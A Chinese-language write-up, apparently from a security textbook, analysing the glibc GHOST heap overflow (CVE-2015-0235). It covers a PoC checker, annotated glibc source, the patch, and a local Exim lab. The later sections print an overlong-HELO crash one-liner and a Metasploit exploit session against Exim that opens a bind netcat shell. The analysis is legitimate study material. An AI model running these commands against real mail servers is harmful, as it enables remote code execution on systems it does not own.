返回介绍

7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞

发布于 2022-02-28 21:36:26 字数 27284 浏览 901 评论 0 收藏 0

  • 参考资料
  • 下载文件

    漏洞描述

    glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 __nss_hostname_digits_dots() 存在缓冲区溢出,可以通过 gethostbyname*() 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。

    漏洞复现

    推荐使用的环境备注
    操作系统Ubuntu 12.04体系结构:64 位
    调试器gdb-peda版本号:7.4
    漏洞软件glibc版本号:2.15
    受影响软件Exim4版本号:4.80

    通过下面的 PoC 可以知道自己的系统是否受到影响:

    #include <netdb.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <errno.h>
    
    #define CANARY "in_the_coal_mine"
    
    struct {
      char buffer[1024];
      char canary[sizeof(CANARY)];
    } temp = { "buffer", CANARY };
    
    int main(void) {
      struct hostent resbuf;
      struct hostent *result;
      int herrno;
      int retval;
    
      /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
      size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
      char name[sizeof(temp.buffer)];
      memset(name, '0', len);
      name[len] = '\0';
    
      retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
    
      if (strcmp(temp.canary, CANARY) != 0) {
        puts("vulnerable");
        exit(EXIT_SUCCESS);
      }
      if (retval == ERANGE) {
        puts("not vulnerable");
        exit(EXIT_SUCCESS);
      }
      puts("should not happen");
      exit(EXIT_FAILURE);
    }
    
    $ file /lib/x86_64-linux-gnu/libc-2.15.so
    /lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
    $ gcc -g poc.c
    $ ./a.out
    vulnerable
    

    很明显是存在漏洞的。简单解释一下 PoC,在栈上布置一个区域 temp,由 buffer 和 canary 组成,然后初始化一个 name,最后执行函数 gethostbyname_r(),正常情况下,当把 name+*host_addr+*h_addr_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。

    函数 gethostbyname_r()include/netdb.h 中定义如下:

    struct hostent {
        char  *h_name;            /* official name of host */
        char **h_aliases;         /* alias list */
        int    h_addrtype;        /* host address type */
        int    h_length;          /* length of address */
        char **h_addr_list;       /* list of addresses */
    }
    #define h_addr h_addr_list[0] /* for backward compatibility */
    
    int gethostbyname_r(const char *name,
            struct hostent *ret, char *buf, size_t buflen,
            struct hostent **result, int *h_errnop);
    
    • name:网页的 host 名称
    • ret:成功时用于存储结果
    • buf:临时缓冲区,存储过程中的各种信息
    • buflen:缓冲区大小
    • result:成功时指向 ret
    • h_errnop:存储错误码

    执行前:

    gdb-peda$ x/6gx temp.buffer
    0x601060 <temp>:    0x0000726566667562    0x0000000000000000  <-- buffer  <-- host_addr
    0x601070 <temp+16>:    0x0000000000000000    0x0000000000000000              <-- h_addr_ptrs
    0x601080 <temp+32>:    0x0000000000000000    0x0000000000000000              <-- hostname
    gdb-peda$ x/20gx temp.canary-0x10
    0x601450 <temp+1008>:    0x0000000000000000    0x0000000000000000
    0x601460 <temp+1024>:    0x635f6568745f6e69    0x656e696d5f6c616f  <-- canary
    0x601470 <temp+1040>:    0x0000000000000000    0x0000000000000000
    

    执行后:

    gdb-peda$ x/6gx temp.buffer
    0x601060 <temp>:    0x0000000000000000    0x0000000000000000  <-- buffer  <-- host_addr
    0x601070 <temp+16>:    0x0000000000601060    0x0000000000000000              <-- h_addr_ptrs
    0x601080 <temp+32>:    0x0000000000000000    0x3030303030303030              <-- h_alias_ptr, hostname
    gdb-peda$ x/6gx temp.canary-0x10
    0x601450 <temp+1008>:    0x3030303030303030    0x3030303030303030
    0x601460 <temp+1024>:    0x0030303030303030    0x656e696d5f6c616f  <-- canary
    0x601470 <temp+1040>:    0x0000000000000000    0x0000000000000000
    

    canary 被覆盖了 8 个字节,即溢出了 8 个字节。

    漏洞分析

    grep -irF '__nss_hostname_digits_dots' ./*
    ./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
    ./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
    [...]
    ./nss/getXXbyYY.c:      if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
    ./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
    ./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
    ./nss/getXXbyYY_r.c:  switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,
    

    通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 HANDLE_DIGITS_DOTS 被定义:

    // inet/gethstbynm.c
    #define NEED_H_ERRNO    1
    
    // nss/getXXbyYY_r.c
    #ifdef HANDLE_DIGITS_DOTS
      if (buffer != NULL)
        {
          if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
                          &buffer_size, 0, &result, NULL, AF_VAL,
                          H_ERRNO_VAR_P))
        goto done;
        }
    #endif
    

    具体程序如下(来自glibc-2.17):

    // nss/digits_dots.c
    int
    __nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
                    char **buffer, size_t *buffer_size,
                    size_t buflen, struct hostent **result,
                    enum nss_status *status, int af, int *h_errnop)
    {
        [...]
        if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
        {
            const char *cp;
            char *hostname;
            typedef unsigned char host_addr_t[16];
            host_addr_t *host_addr;
            typedef char *host_addr_list_t[2];
            host_addr_list_t *h_addr_ptrs;
            char **h_alias_ptr;
            size_t size_needed;
    
            [...]
            // size_needed 决定了缓冲区的大小,即 *host_addr+*h_addr_ptrs+name+1 (1存储结尾的'\0')
            size_needed = (sizeof (*host_addr)
                    + sizeof (*h_addr_ptrs) + strlen (name) + 1);
    
            if (buffer_size == NULL)    // 重入分支
            {
                if (buflen < size_needed)
                {
                [...]
                goto done;
                }
            }
            else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
            {
                char *new_buf;
                *buffer_size = size_needed;
                new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区,以保证其足够大
    
                if (new_buf == NULL)
                {
                    [...]
                    goto done;
                }
                *buffer = new_buf;
            }
    
            [...]
            // 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
            // 与缓冲区相差了一个 h_alias_ptr,64 位下为 8 字节
            host_addr = (host_addr_t *) *buffer;
            h_addr_ptrs = (host_addr_list_t *)
                ((char *) host_addr + sizeof (*host_addr));
            h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
            hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
    
            if (isdigit (name[0]))
            {
                for (cp = name;; ++cp)
                {
                    if (*cp == '\0')
                    {
                        int ok;
    
                        if (*--cp == '.')
                            break;
    
                        [...]
                        if (af == AF_INET)
                            ok = __inet_aton (name, (struct in_addr *) host_addr);
                        else
                        {
                            assert (af == AF_INET6);
                            ok = inet_pton (af, name, host_addr) > 0;
                        }
                        if (! ok)
                        {
                            [...]
                            goto done;
                        }
    
                        resbuf->h_name = strcpy (hostname, name);   // 复制 name 到 hostname,触发缓冲区溢出
    
                        [...]
                        goto done;
                    }
    
                    if (!isdigit (*cp) && *cp != '.')
                        break;
                }
            }
    

    注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件:

    • name 的第一个字符必须是数字
    • name 的最后一个字符不能是 "."
    • name 的所有字符只能是数字或者 "."
    • 必须是 IPv4 地址且必须是这些格式中的一种:"a.b.c.d","a.b.c","a",且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff

    对比一下 glibc-2.18 的代码,也就是把 h_alias_ptr 的长度加上了,问题完美解决:

            size_needed = (sizeof (*host_addr)
                    + sizeof (*h_addr_ptrs)
                    + sizeof (*h_alias_ptr) + strlen (name) + 1);
    

    Exim exploit

    $ sudo apt-get install libpcre3-dev
    $ git clone https://github.com/Exim/exim.git
    $ cd exim/src
    $ git checkout exim-4_80
    $ mkdir Local
    $ cp src/EDITME Local/Makefile
    $ #修改 Makefile 中的 EXIM_USER=你的用户名
    $ #注释掉 EXIM_MONITOR=eximon.bin
    $ #然后取消掉 PCRE_LIBS=-lpcre 的注释
    $ make && sudo make install
    

    最后为了能够调用 smtp_verify_helo(),在 Exim 的配置文件中必须开启 helo_verify_hostshelo_try_verify_hosts。在文件 /var/lib/exim4/config.autogenerated 中的 acl_smtp_mail 一行下面加上 helo_try_verify_hosts = * 或者 helo_verify_hosts = *

    acl_smtp_mail = MAIN_ACL_CHECK_MAIL
    
    helo_try_verify_hosts = *
    

    更新并重启软件即可:

    $ update-exim4.conf
    $ exim4 -bP | grep helo_try
    helo_try_verify_hosts = *
    $ sudo /etc/init.d/exim4 stop
    $ sudo /usr/exim/bin/exim -bdf -d+all
    

    这样就把程序以 debug 模式开启了,之后的所有操作都会被打印出来,方便观察。还是为了方便(懒),后续的所有操作都只在本地执行。

    先简单地看一下 Exim 处理 HELO 命令的过程,在另一个 shell 里,使用 telenet 连接上 Exim,根据前面的限制条件随便输入点什么:

    $ telnet 127.0.0.1 25
    Trying 127.0.0.1...
    Connected to 127.0.0.1.
    Escape character is '^]'.
    220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 16:58:37 +0800
    HELO 0123456789
    250 firmy-VirtualBox Hello localhost [127.0.0.1]
    ^CConnection closed by foreign host.
    firmy@firmy-VirtualBox:~$ telnet 127.0.0.1 25
    Trying 127.0.0.1...
    Connected to 127.0.0.1.
    Escape character is '^]'.
    220 firmy-VirtualBox ESMTP Exim 4.76 Fri, 26 Jan 2018 17:00:47 +0800
    HELO 0123456789
    250 firmy-VirtualBox Hello localhost [127.0.0.1]
    

    结果如下:

    17:00:47  5577 Process 5577 is ready for new message
    17:00:47  5577 smtp_setup_msg entered
    17:00:55  5577 SMTP<< HELO 0123456789
    17:00:55  5577 sender_fullhost = localhost (0123456789) [127.0.0.1]
    17:00:55  5577 sender_rcvhost = localhost ([127.0.0.1] helo=0123456789)
    17:00:55  5577 set_process_info:  5577 handling incoming connection from localhost (0123456789) [127.0.0.1]
    17:00:55  5577 verifying EHLO/HELO argument "0123456789"
    17:00:55  5577 getting IP address for 0123456789
    17:00:55  5577 gethostbyname2(af=inet6) returned 1 (HOST_NOT_FOUND)
    17:00:55  5577 gethostbyname2(af=inet) returned 1 (HOST_NOT_FOUND)
    17:00:55  5577 no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
    17:00:55  5577 LOG: host_lookup_failed MAIN
    17:00:55  5577   no IP address found for host 0123456789 (during SMTP connection from localhost (0123456789) [127.0.0.1])
    17:00:55  5577 HELO verification failed but host is in helo_try_verify_hosts
    17:00:55  5577 SMTP>> 250 firmy-VirtualBox Hello localhost [127.0.0.1]
    

    可以看到它最终调用了 gethostbyname2() 函数来解析来自 SMTP 客户端的数据包。具体代码如下:github

    // src/src/smtp_in.c
    int
    smtp_setup_msg(void)
    {
    [...]
    while (done <= 0)
      {
      [...]
      switch(smtp_read_command(TRUE))
        {
        [...]
        case HELO_CMD:
        HAD(SCH_HELO);
        hello = US"HELO";
        esmtp = FALSE;
        goto HELO_EHLO;
    
        case EHLO_CMD:
        HAD(SCH_EHLO);
        hello = US"EHLO";
        esmtp = TRUE;
    
        // 当 SMTP 命令为 HELO 或 EHLO 时,执行下面的过程
        HELO_EHLO:      /* Common code for HELO and EHLO */
        cmd_list[CMD_LIST_HELO].is_mail_cmd = FALSE;
        cmd_list[CMD_LIST_EHLO].is_mail_cmd = FALSE;
    
        /* Reject the HELO if its argument was invalid or non-existent. A
        successful check causes the argument to be saved in malloc store. */
    
        if (!check_helo(smtp_cmd_data)) // 检查 HELO 的格式必须是 IP 地址
          {
          [...]
          break;
          }
          [...]
          helo_verified = helo_verify_failed = FALSE;
          if (helo_required || helo_verify)
            {
            BOOL tempfail = !smtp_verify_helo();    // 验证 HELO 是否有效
            if (!helo_verified)
              {
              if (helo_required)
                {
                [...]
                }
              HDEBUG(D_all) debug_printf("%s verification failed but host is in "
                "helo_try_verify_hosts\n", hello);
              }
            }
    

    继续看函数 smtp_verify_helo()

    // src/src/smtp_in.c
    BOOL
    smtp_verify_helo(void)
    {
      [...]
      if (!helo_verified)
        {
        int rc;
        host_item h;
        h.name = sender_helo_name;
        h.address = NULL;
        h.mx = MX_NONE;
        h.next = NULL;
        HDEBUG(D_receive) debug_printf("getting IP address for %s\n",
          sender_helo_name);
        rc = host_find_byname(&h, NULL, 0, NULL, TRUE);
        if (rc == HOST_FOUND || rc == HOST_FOUND_LOCAL)
        [....]
        }
      }
    
    // src/src/host.c
    int
    host_find_byname(host_item *host, uschar *ignore_target_hosts, int flags,
      uschar **fully_qualified_name, BOOL local_host_check)
    {
    [...]
    for (i = 1; i <= times;
         #if HAVE_IPV6
           af = AF_INET,     /* If 2 passes, IPv4 on the second */
         #endif
         i++)
      {
      [...]
      #if HAVE_IPV6
      if (running_in_test_harness)
        hostdata = host_fake_gethostbyname(host->name, af, &error_num);
      else
        {
        #if HAVE_GETIPNODEBYNAME
        hostdata = getipnodebyname(CS host->name, af, 0, &error_num);
        #else
        hostdata = gethostbyname2(CS host->name, af);
        error_num = h_errno;
        #endif
        }
    
      #else    /* not HAVE_IPV6 */
      if (running_in_test_harness)
        hostdata = host_fake_gethostbyname(host->name, AF_INET, &error_num);
      else
        {
        hostdata = gethostbyname(CS host->name);
        error_num = h_errno;
        }
      #endif   /* HAVE_IPV6 */
    

    函数 host_find_byname 调用了 gethostbyname()gethostbyname2() 分别针对 IPv4 和 IPv6 进行处理,也就是在这里可以触发漏洞函数。

    这一次我们输入这样的一串字符,即可导致溢出:

    $ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))"
    

    但是程序可能还是正常在运行的,我们多输入执行几次就会触发漏洞,发生段错误,连接被断开。

    Connection closed by foreign host.
    
    $ dmesg | grep exim
    [28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000]
    [28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
    [28929.562113] traps: exim4[3304] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000]
    [28929.631573] exim4[3307]: segfault at 100000008 ip 00007fea42e2d226 sp 00007fff471e8b50 error 4 in exim4[7fea42db6000+dc000]
    

    其实对于 Exim 的攻击已经集成到了 Metasploit 框架中,我们来尝试一下,正好学习一下这个强大的框架,仿佛自己也可以搞渗透测试。先关掉debug模式的程序,重新以正常的样子打开:

    $ /etc/init.d/exim4 restart
    
    msf > search exim
    
    Matching Modules
    ================
    
       Name                                          Disclosure Date  Rank       Description
       ----                                          ---------------  ----       -----------
       exploit/linux/smtp/exim4_dovecot_exec         2013-05-03       excellent  Exim and Dovecot Insecure Configuration Command Injection
       exploit/linux/smtp/exim_gethostbyname_bof     2015-01-27       great      Exim GHOST (glibc gethostbyname) Buffer Overflow
       exploit/unix/local/exim_perl_startup          2016-03-10       excellent  Exim "perl_startup" Privilege Escalation
       exploit/unix/smtp/exim4_string_format         2010-12-07       excellent  Exim4 string_format Function Heap Buffer Overflow
       exploit/unix/webapp/wp_phpmailer_host_header  2017-05-03       average    WordPress PHPMailer Host Header Command Injection
    
    
    msf > use exploit/linux/smtp/exim_gethostbyname_bof
    msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1
    RHOST => 127.0.0.1
    msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1
    SENDER_HOST_ADDRESS => 127.0.0.1
    msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat
    payload => cmd/unix/bind_netcat
    msf exploit(linux/smtp/exim_gethostbyname_bof) > show options
    
    Module options (exploit/linux/smtp/exim_gethostbyname_bof):
    
       Name                 Current Setting  Required  Description
       ----                 ---------------  --------  -----------
       RHOST                127.0.0.1        yes       The target address
       RPORT                25               yes       The target port (TCP)
       SENDER_HOST_ADDRESS  127.0.0.1        yes       The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)
    
    
    Payload options (cmd/unix/bind_netcat):
    
       Name   Current Setting  Required  Description
       ----   ---------------  --------  -----------
       LPORT  4444             yes       The listen port
       RHOST  127.0.0.1        no        The target address
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Automatic
    
    
    msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit
    
    [*] Started bind handler
    [*] 127.0.0.1:25 - Checking if target is vulnerable...
    [+] 127.0.0.1:25 - Target is vulnerable.
    [*] 127.0.0.1:25 - Trying information leak...
    [+] 127.0.0.1:25 - Successfully leaked_arch: x64
    [+] 127.0.0.1:25 - Successfully leaked_addr: 7fea43824720
    [*] 127.0.0.1:25 - Trying code execution...
    [+] 127.0.0.1:25 - Brute-forced min_heap_addr: 7fea438116cb
    [+] 127.0.0.1:25 - Brute-force SUCCESS
    [+] 127.0.0.1:25 - Please wait for reply...
    [*] Command shell session 1 opened (127.0.0.1:34327 -> 127.0.0.1:4444) at 2018-01-26 17:29:07 +0800
    
    whoami
    Debian-exim
    id
    uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim)
    

    Bingo!!!成功获得了一个反弹 shell。

    对于该脚本到底是怎么做到的,本人水平有限,还有待分析。。。

    参考资料

    如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

    扫码二维码加入Web技术交流群

    发布评论

    需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
    列表为空,暂无数据
      我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
      原文